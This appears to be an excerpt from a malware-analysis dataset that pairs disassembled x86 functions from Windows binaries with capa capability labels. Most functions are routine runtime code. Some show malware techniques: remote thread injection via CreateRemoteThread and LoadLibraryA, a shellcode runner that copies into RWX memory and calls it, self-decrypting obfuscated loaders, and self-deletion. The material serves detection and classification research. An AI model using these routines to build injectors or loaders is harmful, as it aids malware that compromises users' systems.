joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401007
Capabilities:
Delete file
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [eax + 4]
push edi
mov edi, dword [eax]
mov eax, dword [0x432718]
mov dword [ebp - 0x28], eax
mov eax, dword [0x43271c]
xor ecx, ecx
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], ecx
call fcn.00401000
mov eax, dword [0x432720]
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [0x432724]
add ebx, 0x23f
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], 0x20
jmp 0x40105c
xor ecx, ecx
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov eax, edi
shl eax, 4
cmp dword [0x441974], 0xc
mov dword [ebp - 4], eax
jne 0x401086
push ecx
lea eax, [ebp - 0x30]
push eax
push ecx
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov eax, dword [ebp - 0x20]
add dword [ebp - 4], eax
mov eax, dword [0x441974]
cmp eax, 0xfa9
jne 0x4010a2
mov dword [0x441970], 0xedeb2e40
cmp eax, 0x3eb
jne 0x4010c7
push str.likavarepuyazahiwexanegiwitetu
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
and dword [0x4418c8], 0
lea eax, [ebx + edi]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
shr eax, 5
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x24]
add dword [ebp - 8], eax
mov eax, dword [ebp - 4]
and dword [ebp - 0x14], 0
mov dword [0x44196c], 0xf4ea3dee
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x18]
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
xor dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
xor eax, dword [ebp - 0x10]
sub esi, eax
mov dword [ebp - 8], eax
mov eax, esi
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov ecx, dword [ebp - 0xc]
lea eax, [ebx + esi]
mov dword [ebp - 0x18], eax
mov eax, esi
shr eax, cl
add eax, dword [ebp - 0x2c]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x18]
xor dword [ebp - 4], eax
cmp dword [0x441974], 0xb03
jne 0x401142
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
mov eax, dword [ebp - 4]
xor eax, dword [ebp - 8]
add ebx, 0x61c88647
sub edi, eax
dec dword [ebp - 0x1c]
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], edi
jne 0x40105a
mov eax, dword [ebp + 8]
mov dword [eax], edi
pop edi
mov dword [eax + 4], esi
pop esi
pop ebx
leave
ret 4
Function at 0x401015
Capabilities:
Delete file
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [eax + 4]
push edi
mov edi, dword [eax]
mov eax, dword [0x432718]
mov dword [ebp - 0x28], eax
mov eax, dword [0x43271c]
xor ecx, ecx
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], ecx
call fcn.00401000
mov eax, dword [0x432720]
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [0x432724]
add ebx, 0x23f
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], 0x20
jmp 0x40105c
xor ecx, ecx
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov eax, edi
shl eax, 4
cmp dword [0x441974], 0xc
mov dword [ebp - 4], eax
jne 0x401086
push ecx
lea eax, [ebp - 0x30]
push eax
push ecx
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov eax, dword [ebp - 0x20]
add dword [ebp - 4], eax
mov eax, dword [0x441974]
cmp eax, 0xfa9
jne 0x4010a2
mov dword [0x441970], 0xedeb2e40
cmp eax, 0x3eb
jne 0x4010c7
push str.likavarepuyazahiwexanegiwitetu
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
and dword [0x4418c8], 0
lea eax, [ebx + edi]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
shr eax, 5
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x24]
add dword [ebp - 8], eax
mov eax, dword [ebp - 4]
and dword [ebp - 0x14], 0
mov dword [0x44196c], 0xf4ea3dee
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x18]
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
xor dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
xor eax, dword [ebp - 0x10]
sub esi, eax
mov dword [ebp - 8], eax
mov eax, esi
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov ecx, dword [ebp - 0xc]
lea eax, [ebx + esi]
mov dword [ebp - 0x18], eax
mov eax, esi
shr eax, cl
add eax, dword [ebp - 0x2c]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x18]
xor dword [ebp - 4], eax
cmp dword [0x441974], 0xb03
jne 0x401142
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
mov eax, dword [ebp - 4]
xor eax, dword [ebp - 8]
add ebx, 0x61c88647
sub edi, eax
dec dword [ebp - 0x1c]
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], edi
jne 0x40105a
mov eax, dword [ebp + 8]
mov dword [eax], edi
pop edi
mov dword [eax + 4], esi
pop esi
pop ebx
leave
ret 4
Function at 0x4078ef
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43188c]
jne 0x4078f9
repz ret
jmp fcn.0040bbbf

Function at 0x40b5ad
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00406138
and dword [ebp - 4], 0
cmp dword [0x436964], 0
mov ebx, eax
jne 0x40b65e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40b70f
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40b70f
push eax
call fcn.004060c6
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x436964], eax
call esi
push eax
call fcn.004060c6
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x436968], eax
call esi
push eax
call fcn.004060c6
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x43696c], eax
call esi
push eax
call fcn.004060c6
pop ecx
mov dword [0x436974], eax
test eax, eax
je 0x40b65e
push 0x42df08
push edi
call esi
push eax
call fcn.004060c6
pop ecx
mov dword [0x436970], eax
mov eax, dword [0x436970]
cmp eax, ebx
je 0x40b6b6
cmp dword [0x436974], ebx
je 0x40b6b6
push eax
call fcn.00406141
push dword [0x436974]
mov esi, eax
call fcn.00406141
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40b6b6
test edi, edi
je 0x40b6b6
call esi
test eax, eax
je 0x40b6ad
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40b6ad
test byte [ebp - 0xc], 1
jne 0x40b6b6
or dword [ebp + 0x10], 0x200000
jmp 0x40b6ef
mov eax, dword [0x436968]
cmp eax, ebx
je 0x40b6ef
push eax
call fcn.00406141
pop ecx
test eax, eax
je 0x40b6ef
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40b6ef
mov eax, dword [0x43696c]
cmp eax, ebx
je 0x40b6ef
push eax
call fcn.00406141
pop ecx
test eax, eax
je 0x40b6ef
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x436964]
call fcn.00406141
pop ecx
test eax, eax
je 0x40b70f
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40b711
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401080
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov ebx, eax
xor ebx, esi
mov esi, eax
xor eax, esi
xor eax, esi
mov eax, esi
xor eax, eax
xor ebx, eax
mov ebx, ebx
ror ebx, 0xf4
sub esi, 0xb9
ror esi, 0x46
dec esi
neg ebx
sbb eax, 0x7e
inc ebx
inc eax
sbb eax, 0xc2
inc esi
not eax
not edx
bswap esi
dec ebx
add eax, 0x2a
inc edi
dec edx
imul edx
sub esi, 0x3d
dec eax
dec esi
not ebx
bswap edx
rol esi, 0xab
rol esi, 0x95
bswap eax
add eax, 0x56
or eax, 0xb2
dec ebx
neg esi
bswap edx
rol ebx, 0xe8
sbb eax, 0x50
and ebx, 0x9d
inc ebx
or ebx, 0xd6
not eax
bswap edi
dec edi
ror ebx, 0x33
rcl esi, 0xaa
ror ebx, 0xe9
bswap eax
rcl edx, 0x88
imul edi
imul edi
not esi
or esi, 0xe9
imul eax
mov ebx, 0xb1
xor ecx, ecx
xor edi, edi
mov eax, ebx
xor ebx, eax
mov ebx, esi
mov eax, ebx
mov eax, esi
xor ebx, ebx
neg edi
sub eax, 0x99
rcr edx, 0xed
inc edi
ror eax, 0x6a
or edi, 0x2a
bswap edi
ror ebx, 0x6a
dec eax
imul ebx
not esi
not eax
inc ebx
rcl esi, 0xbd
inc esi
rol eax, 0x59
mov edx, 0x6b
add ebx, 0xf5
bswap edx
rcl esi, 0x3d
mov eax, 0x81
rol ebx, 0x10
sbb esi, 0x7d
imul edi
dec edx
dec edx
dec esi
sub eax, 0xfe
not ebx
rcl edi, 0x15
mov ebx, 0xbe
ror eax, 0x91
bswap eax
bswap edi
sub edi, 0x1a
inc esi
not esi
dec edi
imul ebx
mov edx, 0xa4
bswap edi
bswap ebx
rcl esi, 5
sbb ebx, 0xe4
bswap ebx
neg ebx
and edx, 0xd6
neg esi
mov ebx, 5
or edi, 0x66
xor eax, ebx
mov esi, eax
mov ebx, eax
xor eax, eax
mov esi, esi
mov esi, eax
mov eax, ebx
xor ebx, ebx
xor ebx, eax
mov ecx, dword [ebp + 0xc]
imul esi
mov ebx, 0x95
inc edi
or edi, 0x26
rcr edx, 0xbb
rcr edx, 0x2b
inc edx
bswap edx
inc ebx
bswap esi
bswap edx
dec esi
mov eax, 0x39
ror ebx, 6
dec edx
rol esi, 0xf2
inc edi
bswap ebx
inc esi
rol esi, 0x9b
rol esi, 0x5f
neg esi
and edi, 0x46
imul ebx
mov eax, 0x3c
dec esi
bswap edx
add edi, 0x35
inc edx
neg edx
bswap esi
dec esi
dec esi
inc edi
mov esi, 0xde
inc edx
neg edi
rol ebx, 0x73
not esi
rcl ebx, 0x12
mov ebx, 0xe6
or eax, 0x9a
add esi, 0x19
imul edx
sbb esi, 0x87
ror eax, 0xb8
inc edi
inc esi
dec edi
inc edi
mov edi, dword [ebp + 8]
xor eax, ebx
xor ebx, ebx
mov eax, ebx
mov esi, esi
xor esi, ebx
xor ebx, ebx
mov eax, esi
xor esi, ebx
xor eax, eax
not byte [edi]
mov ebx, ebx
xor esi, esi
xor eax, ebx
mov esi, eax
mov eax, esi
mov esi, esi
mov ebx, ebx
xor esi, ebx
mov eax, ebx
xor eax, eax
xor ebx, ebx
xor eax, eax
sub byte [edi], 0xf1
add byte [edi], 0x63
xor esi, esi
mov esi, eax
xor ebx, esi
mov esi, esi
xor ebx, eax
xor ebx, esi
xor eax, ebx
mov esi, esi
xor eax, ebx
imul byte [edi]
inc edi
loop 0x40124b
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x404df0
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x404e2f
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x404e2f
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x404e2f
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x404e2f
cmp dword [ecx + 0x74], 0xe
jbe 0x404e2f
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x40a993
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40aa30
push ebx
push esi
call fcn.0040a95c
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040a8f0
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40a9dd
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40aa2f
push edi
push eax
call fcn.0040b5b0
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40a9fd
call fcn.00409451
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40aa2e
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040a8f0
add esp, 0x20
test eax, eax
jne 0x40aa1c
push edi
call fcn.00409451
jmp 0x40aa24
push ebx
call fcn.00409451
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x40bd2d
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x446568
push 0x446560
push str.FlsAlloc
push 0x1f
call fcn.0040bbec
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40bd61
push dword [ebp + 8]
mov ecx, esi
call dword [0x415160]
call esi
jmp 0x40bd67
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40bdab
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x446578
push 0x446570
push str.FlsGetValue
push 0x21
call fcn.0040bbec
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40bde2
push dword [ebp + 8]
mov ecx, esi
call dword [0x415160]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x40bdea
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x446580
push 0x446578
push str.FlsSetValue
push 0x22
call fcn.0040bbec
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40be24
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x415160]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x411280
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4112ad
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4112ad
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x406a0c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406a30
xor eax, eax
test eax, eax
je 0x406a43
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x406a43
xor ecx, ecx
jmp 0x406a46
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406b69
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x7a5e2c], 0
push esi
jne 0x406ba0
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406b7a
mov dword [ecx*4 + 0x7a5e28], eax
inc ecx
cmp ecx, 0x100
jl 0x406b75
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406bd1
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x7a5e28]
xor eax, esi
inc ecx
dec edx
jne 0x406bb3
pop edi
not eax
pop esi
ret 0xc

Function at 0x4012b6
Capabilities:
Hide graphical window

Disassembly:
push ebp
push 0x10000
push 0x1000
push 1
call dword [sym.imp.KERNEL32.dll_HeapCreate]
mov dword [0x403eb4], eax
push 0x64
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, 0x30
push eax
mov dword [eax], ecx
add eax, 0x4c
mov ebp, eax
mov eax, 0x400000
mov dword [0x403eb0], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x44], 0x401191
mov dword [ebp - 0x24], str.resiliency
call dword [sym.imp.USER32.dll_RegisterClassExA]
xor eax, eax
push eax
push dword [0x403eb0]
push eax
push eax
push 0x190
push 0x2b2
push 0x640
push 0x9c4
push 0
push str.abasement
push str.resiliency
push eax
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x403eb8], eax
push eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call dword [sym.imp.USER32.dll_UpdateWindow]
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x401380
mov edi, dword [sym.imp.USER32.dll_DispatchMessageA]
lea ecx, [ebp - 0x1c]
push ecx
call edi
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x401367
mov eax, dword [0x403eb4]
push eax
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
pop ebp
ret 0x10

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x1000113f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x1000114e
pop dword [ebp - 0x24]
mov eax, 0x27196d02
sub eax, 0x17195bb4
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x6b2eec69
sub dword [ebp - 0x34], 0x1cdca71e
mov dword [ebp - 0x30], 0xbaecff08
add dword [ebp - 0x30], 0x77464d3d
mov dword [ebp - 0x2c], 0x44984bd8
add dword [ebp - 0x2c], 0x7b3f856
mov dword [ebp - 0x28], 0x64d3089a
sub dword [ebp - 0x28], 0x64d3089a
lea eax, [ebp - 0x34]
push eax
mov eax, 0xffee0577
add eax, 0x10122ad1
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0xd903ef1d
sub dword [ebp - 0x34], 0x649185c7
mov dword [ebp - 0x30], 0xc85be116
sub dword [ebp - 0x30], 0x86ef7fa1
mov dword [ebp - 0x2c], 0xd6aca97d
add dword [ebp - 0x2c], 0x8cc2c2ef
mov dword [ebp - 0x28], 0x8a292b4d
add dword [ebp - 0x28], 0x75d6d4b3
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0x82a9d275
sub eax, 0x72a9a275
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x365d6
push 0
call eax
mov ecx, 0x326d3ad3
add ecx, 0xcd930ca0
mov esi, eax
mov edx, 0x10006200
add edx, dword [ebp - 0x24]
mov edi, 0xb6743a65
add edi, 0x25e84d0c
sub dword [ebp - 4], 0x63c9c9cf
mov ebx, dword [edx]
xor ebx, edi
add dword [ebp - 4], 0x22c36c6c
mov dword [esi], ebx
mov dword [ebp - 0x10], 0x193191ef
add esi, 0x83fce7a5
add esi, 0x7c03185f
add edx, 0xe9b781a2
sub edx, 0xe9b7819e
loop 0x1000126a
add eax, 0x5480b012
sub eax, 0x547f9f73
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x5324c2e7
sub ecx, 0x4324c2e7
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x10001822
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x1000182c
repz ret
jmp fcn.10001bc2
Function at 0x6ad012f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x182
je 0x6ad01325
mov eax, dword [ebp - 0x14]
cmp eax, 0x1e6
je 0x6ad01325
mov eax, dword [ebp - 0x14]
cmp eax, 0x24a
jne 0x6ad0132c
mov eax, 1
jmp 0x6ad01331
mov eax, 0
leave
ret
Function at 0x6ad01735
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0x8000
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x6ad01868
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ftell
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.File_size_is__d_n
call sym._printf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x6ad018d6
mov dword [esp], str.Malloc_failed_
call sym._puts
mov dword [esp], 1
call sym._exit
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._fread
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x6ad01a11
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._memcpy
mov eax, dword [ebp - 0xc]
call eax
nop
leave
ret

Function at 0x6ad01a93
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret

Function at 0x6ad01e20
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6ad0603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x6ad06034]
sub esp, 4
test ebx, ebx
je 0x6ad01e6b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x6ad01e64
test esi, esi
je 0x6ad01e64
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6ad01e40
mov dword [esp], 0x6ad0603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x6ad02050
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x6ad04178
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x6ad020a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x6ad02178
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x6ad020de
cmp eax, 4
jne 0x6ad02100
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x6ad020ee
cmp edx, 4
je 0x6ad020ee
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.6ad02050